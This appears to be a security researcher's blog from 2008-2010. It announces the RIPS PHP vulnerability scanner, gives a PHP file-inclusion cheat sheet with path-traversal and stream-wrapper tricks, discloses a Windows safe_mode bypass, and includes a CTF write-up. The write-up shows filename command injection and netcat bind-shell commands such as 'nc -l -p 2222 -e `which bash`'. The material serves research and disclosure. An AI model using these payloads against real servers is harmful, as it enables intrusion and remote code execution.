June 11, 2010
In the last years I have been working on my PHP Scanner (now called RIPS) which has been released recently during the Month Of PHP Security and was awarded as the 2nd best external submission.
RIPS is a tool written in PHP itself and designed to easily detect, review and exploit PHP vulnerabilities by static source code and taint analysis. It is open source and freely available at SourceForge (yey!).
Before using it I recommend reading the paper (HTML, PDF) I submitted to be aware of the limitations RIPS has, either due to static source code analysis or because of my implementation of it.
In short: RIPS is not ready yet for firing it on big code trees like wordpress, but I think it does a good job for home-made or smaller open source apps and in assisting code reviews. I hope I will find time in the future to improve RIPS and I am honestly thankful for any feedback, bugreports, code improvements or feature requests.
Update 04.07.10: A new version 0.31 has been released.
Update 13.08.10: A new version 0.32 has been released.
Update 11.09.10: A new version 0.33 has been released.
February 22, 2010
Recently I see a lot of questions regarding PHP File Inclusions and the possibilities you have. So I decided to give a small overview. All the tricks have been described in detail somewhere earlier, but I like it to have them summed up at one place.
Basic Local File Inclusion:
<?php include("inc/" . $_GET['file']); ?>
- Including files in the same directory:
- Path Traversal:
(this file is very interesting because it lets you search the filesystem, other files)
- Including injected PHP code:
Limited Local File Inclusion:
<?php include("inc/" . $_GET['file'] . ".htm"); ?>
- Null Byte Injection:
- Directory Listing with Null Byte Injection:
(UFS filesystem only, requires magic_quotes_gpc=off, more details here)
- Path Truncation:
(more details see here and here)
- Dot Truncation:
(Windows only, more details here)
- Reverse Path Truncation:
?file=../../../../ [...] ../../../../../etc/passwd
(more details here)
Basic Remote File Inclusion
<?php include($_GET['file']); ?>
- Including Remote Code:
(requires allow_url_fopen=On and allow_url_include=On)
- Using PHP stream php://input:
(specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On)
- Using PHP stream php://filter:
(lets you read PHP source because it wont get evaluated in base64. More details here and here)
- Using data URIs:
- Using XSS:
(makes sense if firewalled or only whitelisted domains allowed)
Limited Remote File Inclusion
<?php include($_GET['file'] . ".htm"); ?>
(requires allow_url_fopen=On and allow_url_include=On)
Static Remote File Inclusion:
<?php include("http://192.168.1.10/config.php"); ?>
- Man In The Middle
(lame indeed, but often forgotten)
- Access files with wildcards (read more here)
Of course you can combine all the tricks. If you are aware of any other or interesting files to include please leave a comment and I’ll add them.
November 28, 2009
Last week I shared a weird behavior of FreeBSD on sla.ckers.org about a directory listing with PHP file functions and Apache.
The following 3 PHP codes will output a garbled directory listing of the current directory:
While those file functions should only return content of a valid file, its possible to get a directory listing under FreeBSD. So exploiting a vulnerable script like the following becomes far more easy for an attacker, because he does not have to know the names of the files he can retrieve.
$file = $_GET['file'];
#dirlist to see folders and files
#file disclosure of the found file “index.php”
The directory listing only works for files in the webroot.
This behavior has been tested with the following configurations while PHP is running as root:
FreeBSD 6.4 + PHP 4.4.9 (thanks to beched)
FreeBSD 7.0 + PHP 5.2.5 + Suhosin-Patch 0.9.6.2
FreeBSD 7.0 + PHP 5.2.6 + Suhosin-Patch 0.9.6.2
FreeBSD 7.2 + PHP 5.2.10
I guess it has something to do with the weird BSD file system, but I dont know yet. At least this does not work on any other platforms like ubuntu or windows (I havent checked OpenBSD yet). If someone knows more about this strange dirlist please leave a comment =)
As assumed this behavior relates to the unix file system (UFS) and should also work for NetBSD, OpenBSD and Solaris. Scipio wrote a script that will format the dirlist a bit more readable.
October 14, 2008
About 3 month ago I came across a bug while playing with PHP commands on command line. I was investigating a php execution vulnerability in one of the Cipher4 CTF services where an attacker could execute PHP commands remotely. To quickly fix the issue and not break the service I was going to turn the safe_mode=on for this particular call. For my testings I used the following options:
-n No php.ini file will be used
-d foo[=bar] Define INI entry foo with value ‘bar’
-r Run PHP without using script tags <?..?>
A local test on my windows box with PHP 4.4.1:
C:\Dokumente und Einstellungen\Reiners>php -n -d safe_mode=on -r “exec(‘calc’);”
The command “/calc” is either misspelled or could not be found.
Now the slash infront of the command was really confusing. It looks like all the safe_mode is doing to prevent the command being executed is to add a slash infront of the command. After playing a bit more I found out that this can be circumvented by adding a backslash infront of your command.
C:\Dokumente und Einstellungen\Reiners1>php -n -d safe_mode=on -r “exec(‘\calc’);”
Voila, the calculator pops up and we have successfully bypassed the safe_mode. This works with the latest Version of PHP 4 and PHP 5 and of course in webapplications too.
<?php exec('\calc'); ?>
Note, that for some reasons you will not get the error message at the latest versions, but the code is executed anyhow. Furthermore, this only works with the functions exec(), system() and passthru() and only on Windows! I havent stepped through all the PHP source, but it seems to me that this bug has something to do with the path seperator on windows and the call of escapeshellcmd() and can not be used on unix enviroments.
I have reported this issue 3 month ago by several emails and decided to post it at the bugsystem over here 1 month ago after I got no response. Until today, there was no response at the bugsystem too so I’m putting it on my tiny blog. Lets see what happens ;)
As it is well known anyway: don’t trust the PHP safe_mode.
Finally after about 1 year they patched this bug. Thanks to Stefan Esser!
May 26, 2008
While chatting with some guys at the OWASP AppSecEU 08 I noticed that backticks are oftenly overlooked in PHP. I came across backticks myself just some time ago while researching vulnerable functions on php.net for my PHP Scanner and found this entry. So you can use something like
$foo = `command here`;
to execute OS commands just like using system, shell_exec and what have you. This was absolutely new to me, although I’ve been working with PHP for quite a while and can be easily overlooked when reviewing code or filtering on mentioned functions (which is an bad idea anyway ;))
While talking about backticks I remembered a quite interesting security hole given on the UCSB CTF 07 (in the service “copyright” for those of you who participated or want to have a shot at the image). The service allowed to upload files and the relevant PHP code looked like the following:
$target_path = "../../uploads/". basename( $_FILES['file']['name']);
$command = "cp ".escapeshellarg($_FILES['file']['tmp_name'])." ".$target_path;
exec($command, $out, $ret);
If you take a closer look at the code you will see that you can execute code by naming the file you are going to upload to something like
since “;” are allowed in filenames and will add a new command after the cp command gets executed. The problem was that we needed slashes in our filename to execute “foo;nc -l -p 2222 -e /bin/bash” or copy some interesting files to the webdir with “../../../../var/www/Site”. Obviously you cant rename your file containing a slash or craft such a request because its still handled as a file by PHP and slashes would be dealed as directorys. Now my mate Freddy had the idea to use backticks again, because they work at the command line just like in PHP to execute commands and return their output:
foo;nc -l -p 2222 -e `nc -l -p 3333`
This code will wait for something passed on port 3333 and then execute the rest of it. So we connect to port 3333, enter
/bin/bash and will finally get a remote shell.
As we figured out afterwards this was a fairly stupid workaround for just using
nc -l -p 2222 -e `which bash`, but was plain fun anyway during the contest.
Interesting to note is also that backticks on commandline work in double quotes, but not in single quotes.